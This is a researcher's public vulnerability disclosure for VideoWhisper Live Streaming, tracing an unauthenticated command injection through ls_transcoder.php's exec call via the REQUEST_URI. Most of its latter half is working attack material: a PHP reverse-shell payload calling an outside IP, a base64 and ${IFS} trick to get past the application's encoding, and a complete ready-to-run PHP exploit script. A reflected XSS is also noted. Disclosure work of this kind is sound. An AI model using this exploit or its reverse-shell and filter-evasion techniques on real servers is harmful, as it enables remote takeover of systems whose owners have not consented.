Today I am going to publicly disclose a vulnerability that I have discovered recently in VideoWhisper Live Streaming software. The software suffers from remote command execution vulnerability, specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands to be executed over the remote machine.
1 2 3 |
VideoWhisper Live Streaming provides web based live video streaming (from webcam or similar sources). Live Streaming contains a web based application to broadcast video with realtime configuration of resolution, framerate, bandwidth, audio rate and also allows discussing with video subscribers. |
I decided to do a source code review over the VideoWhisper Live Streaming software as one of my researches.
General Review
It took me many hours reading the source code, many files caught my attention, ls_transcoder.php was one of these files that considered to be suspicious.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<?php include("header.php"); ?> <div class="info"> <?php if ($stream=$_GET['n']){ include_once("incsan.php"); sanV($stream); include_once("settings.php"); echo "<H3>".$stream."</h3>"; } $upath = getcwd() . "/uploads/$stream/"; $cmd = "ps aux | grep '/i_$stream -i rtmp'"; exec($cmd, $output, $returnvalue); |
In line 21, $stream parameter was noticed to be inserted in a command that was sent to exec function in line 22, exec function executes commands over the remote machine and returns the output to an array that was sent as a second argument.
$stream parameter is a user-controlled input sent through the GET request in line 6, however, there is a filter function sanV($stream) in line 12, if I am able to bypass this filter then I will be able to gain a command injection over the application.
Also notice line 15:
15 |
echo "<H3>".$stream."</h3>";<code> |
This leads to Reflected XSS if I am able to bypass the sanitization function.
Function sanV:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
<?php function sanV(&$var, $file=1, $html=1, $mysql=1) //sanitize variable depending on use { if (!$var) return $var; if (get_magic_quotes_gpc()) $var = stripslashes($var); if ($file) { $var=preg_replace("/\.{2,}/","",$var); //allow only 1 consecutive dot $var=preg_replace("/[^0-9a-zA-Z\.\-\s_]/","",$var); //do not allow special characters } if ($html&&!$file) { $var=strip_tags($var); $forbidden=array("<", ">"); foreach ($forbidden as $search) $var=str_replace($search,"",$var); } if ($mysql&&!$file) { $forbidden=array("'", "\"", "´", "`", "\\", "%"); foreach ($forbidden as $search) $var=str_replace($search,"",$var); $var=mysql_real_escape_string($var); } return $var; } ?> |
Function preg_replace in line 10 removes any double dots or more. Also preg_replace in line 11 removes any special character except for the dot, dash and underscore { . – _ }.
Characters with a special meaning within HTML or MYSQL are also escaped when user input is submitted.
For this, I have found no way in which this filter can be bypassed.
Command Injection
The mentioned function sanV is used to filter many user inputs over the entire application, thus, I started to search for more user inputs that are more controllable and not escaped correctly.
In the same file ls_transcoder.php, I noticed another exec function that contains the same filtered input:
23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
$transcoding = 0; foreach ($output as $line) if (strstr($line, "ffmpeg")) { $columns = preg_split('/\s+/',$line); echo "Transcoder Active (".$columns[1]." CPU: ".$columns[2]." Mem: ".$columns[3].") <a target=_blank href='ls_transcoderoff.php?n=" . $stream . "'>Close</a>"; $transcoding = 1; //var_dump($columns); } if (!$transcoding) { echo "Initiating Transcoder... Open/reload page in Safari in few moments to see preview. Transcoding process automatically ends if/when source stream is offline."; $log_file = $upath . "videowhisper_transcode.log"; // audion + video // $cmd ="/usr/local/bin/ffmpeg -vcodec libx264 -s 480x360 -r 15 -vb 512k -x264opts vbv-maxrate=364:qpmin=4:ref=4 -coder 0 -bf 0 -analyzeduration 0 -level 3.1 -g 30 -maxrate 768k -acodec libfaac -ac 2 -ar 22050 -ab 96k -level 3.1 -g 30 -maxrate 768k -acodec libfaac -ac 2 -ar 22050 -ab 96k -x264opts vbv-maxrate=364:qpmin=4:ref=4 -threads 1 -rtmp_pageurl http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] . " -rtmp_swfurl http://".$_SERVER['HTTP_HOST']." -f flv " . $rtmp_server . "/i_". $stream . " -i " . $rtmp_server ."/". $stream . " >&$log_file & "; //audio transcode only, when using h264 web encoding $cmd ="/usr/local/bin/ffmpeg -analyzeduration 0 -vcodec copy -acodec libfaac -ac 2 -ar 22050 -ab 96k -threads 1 -rtmp_pageurl http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] . " -rtmp_swfurl http://".$_SERVER['HTTP_HOST']." -f flv " . $rtmp_server . "/i_". $stream . " -i " . $rtmp_server ."/". $stream . " >&$log_file & "; exec($cmd, $output, $returnvalue); if ($returnvalue == 127) echo "<b>Failed starting FFMPEG: $cmd</b>"; echo '<BR>' . $output[0]; echo '<BR>' . $output[1]; |
Four parameters were sent to the command that will pass through function exec line 44, these parameters are:
- $stream (filtered by sanV function)
- $rtmp_server (Not a user input)
- $_SERVER[‘HTTP_HOST’] (user input)
- $_SERVER[‘REQUEST_URI’] (user input)
The developers missed to correctly sanitize two parameters that are considered to be user inputs which are ($_SERVER[‘HTTP_HOST’], $_SERVER[‘REQUEST_URI’]).
Although, these parameters are SERVER parameters and contain filters by default that vary between each application and another. They are still user input parameters that should not be trusted.
Reaching the sink
To exploit the command injection and gaining the RCE we will need to force the application flow to pass through the IF condition that contains the vulnerable exec function.
33 |
if (!$transcoding) |
The following piece of code effects $transcoding parameter:
23 24 25 26 27 28 29 30 31 |
$transcoding = 0; foreach ($output as $line) if (strstr($line, "ffmpeg")) { $columns = preg_split('/\s+/',$line); echo "Transcoder Active (".$columns[1]." CPU: ".$columns[2]." Mem: ".$columns[3].") <a target=_blank href='ls_transcoderoff.php?n=" . $stream . "'>Close</a>"; $transcoding = 1; //var_dump($columns); } |
$transencoding parameter is only updated by 1 if any of the output of the first exec function contains word “ffmpeg“.
This could be easily bypassed by adding dummy data to the controlled stream parameter to prevent the output from printing any “ffmpeg” string and force the application flow to enter the IF condition.
Exploitation
I am controlling two inputs that are sent to the exec function:
- $_SERVER[‘HTTP_HOST’] contains the Contents of the Host header from the delivered request.
- $_SERVER[‘REQUEST_URI’] The URI which was given in order to access the page, in our scenario: ‘/ls_transcoder.php‘.
Updating $_SERVER[‘HTTP_HOST’] will affect the application response depending on the server behavior and configuration. Usually leads to 500 error. For this, crafting the command injection payload through $_SERVER[‘REQUEST_URI’] is the best option that we have in our scenario.
$_SERVER[‘REQUEST_URI’] contains a self URL encoder for many meta-characters that have meaning to the OS commands. I will try hard to craft reverse connection command that doesn’t contain many characters in order to bypass $_SERVER[‘REQUEST_URI’] self encoder.
I choose to use PHP reverse connection command since the application is using PHP programming language then, for sure php command will be executed successfully, thus, I will use the following payload:
1 |
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' |
The payload contains many characters that will be encoded by the application, I will need to do some encoding stuff to decrease the number of characters that will be used in the payload.
I encoded the PHP code using normal base64 and inserted the payload into base64 decode function in addition to the eval function:
1 |
php -r 'eval(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDQyNDIpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));' |
Many metadata characters were encoded, however, the white spaces are URL encoded to %20 because the payload is sent through $_SERVER[‘REQUEST_URI’], to bypass this, white spaces were replaced by ${IFS} that will be converted to a white space once executed. The final payload:
1 |
http://host/ls_php//ls_transcoder.php?n=;php${IFS}-r${IFS}'eval(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDQyNDIpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'||temp |
In my netcat listener:
Coding
The final exploit was written in my favorite programming language PHP.
You will need to add the script installation URL in addition to your remote IP and the listening port:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<?php $url="http://domain.com/ls_php/"; // replace with the script path $ip="127.0.0.1"; // replace with your ip $port=1337; // replace with the listening port $cmd=base64_encode("\$sock=fsockopen(\"$ip\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");"); $injection="php -r 'eval(base64_decode(\"$cmd\"));'||temp"; //injected command $injection=str_replace(" ", "\${IFS}", $injection); //bypass white space filters send($url,$injection); function send($url,$injection){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url/ls_transcoder.php?n=;$injection"); //return the transfer as a string curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); // echo $output; curl_close($ch); } ?> |